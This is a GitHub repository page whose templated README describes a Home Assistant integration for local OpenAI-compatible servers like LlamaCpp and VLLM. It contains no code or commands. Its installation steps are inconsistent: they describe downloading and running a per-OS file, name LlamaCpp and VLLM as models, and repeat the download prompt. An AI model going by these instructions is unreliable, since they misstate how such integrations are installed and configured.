Skip to content

Latest commit

Β 

History

31 Commits

Folders and files

NameName
Last commit message
Last commit date
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ€– hass_local_openai_llm - Seamless Integration for Home Assistant

Download Latest Release

πŸš€ Getting Started

Welcome to the hass_local_openai_llm project. This integration allows your Home Assistant to connect effortlessly with local OpenAI-compatible services like LlamaCpp and VLLM. This guide will help you download and run the software without any technical hurdles.

πŸ“₯ Download & Install

To get started, visit the GitHub Releases page to download the latest version. Here’s how:

  1. Click on the link above.
  2. Look for the latest release at the top of the page.
  3. Download the appropriate file for your operating system (Windows, macOS, or Linux).
  4. After the download completes, open the file and follow the installation instructions.

πŸ› οΈ System Requirements

Before you proceed, ensure your system meets the following requirements:

  • Operating System: Supports Windows 10, macOS, or Linux.
  • Memory: At least 4 GB RAM recommended.
  • Storage: Minimum of 100 MB of free disk space.
  • Home Assistant: Ensure you have the latest version of Home Assistant installed.

πŸ“‘ Features

  • Local Processing: Runs locally on your machine without relying on external services.
  • OpenAI Compatibility: Works smoothly with LlamaCpp and VLLM.
  • Conversation Agent: Enables engaging conversational capabilities within Home Assistant.
  • User-Friendly Interface: Designed for ease of use, no programming knowledge required.

πŸ”Œ Setting Up the Integration

After installation, you need to connect the integration to your Home Assistant. Follow these simple steps:

  1. Open your Home Assistant interface in a web browser.
  2. Navigate to Configuration > Integrations.
  3. Click on + Add Integration.
  4. Search for OpenAI LLM and select it.
  5. Follow the prompts to complete the integration setup.

βš™οΈ Configuration

To customize your integration, you may want to adjust specific settings. Here’s how:

  • Access Settings: In Home Assistant, go to Configuration > Integrations, select your OpenAI LLM integration, and click on Options.
  • Configure Model: Choose the OpenAI model you wish to use. Options include LlamaCpp and VLLM.
  • Adjust Parameters: Set conversation parameters, such as response length or tone.

πŸ“ Using the Integration

You can now use the integration to enhance your Home Assistant experience. Here are some ways to interact with it:

  • Ask Questions: Pose questions to your conversation agent through Home Assistant.
  • Automate Responses: Set up automations to trigger responses at specific times or events.
  • Monitor Activity: Use Home Assistant's dashboard to track interactions and performance.

πŸ”§ Troubleshooting

If you encounter issues, consider the following steps:

  1. Check System Requirements: Ensure your system meets the necessary specifications.
  2. Verify Installation: Ensure the installation went through without errors.
  3. Check Logs: Look at Home Assistant logs for any error messages related to the integration.

If problems persist, visit the GitHub Issues page to report your issue or find solutions.

🌐 Community Support

Join the community for support and to share your experiences with the hass_local_openai_llm project. You can connect with other users on platforms like Discord and Reddit. Check out the following resources:

Feel free to reach out for questions, suggestions, or feature requests.

πŸ›‘οΈ License

This project is licensed under the MIT License. You can freely use, modify, and distribute the software while adhering to the license terms.

πŸ“₯ Download & Install (again)

Don't forget to download the latest version from the GitHub Releases page and enjoy the seamless integration with your Home Assistant!

About

πŸ€– Integrate local OpenAI-compatible LLMs with Home Assistant for enhanced automation and streamlined conversation management.

Topics

Resources

Stars

0 stars

Watchers

1 watching

Forks

Releases

Packages

Contributors

Languages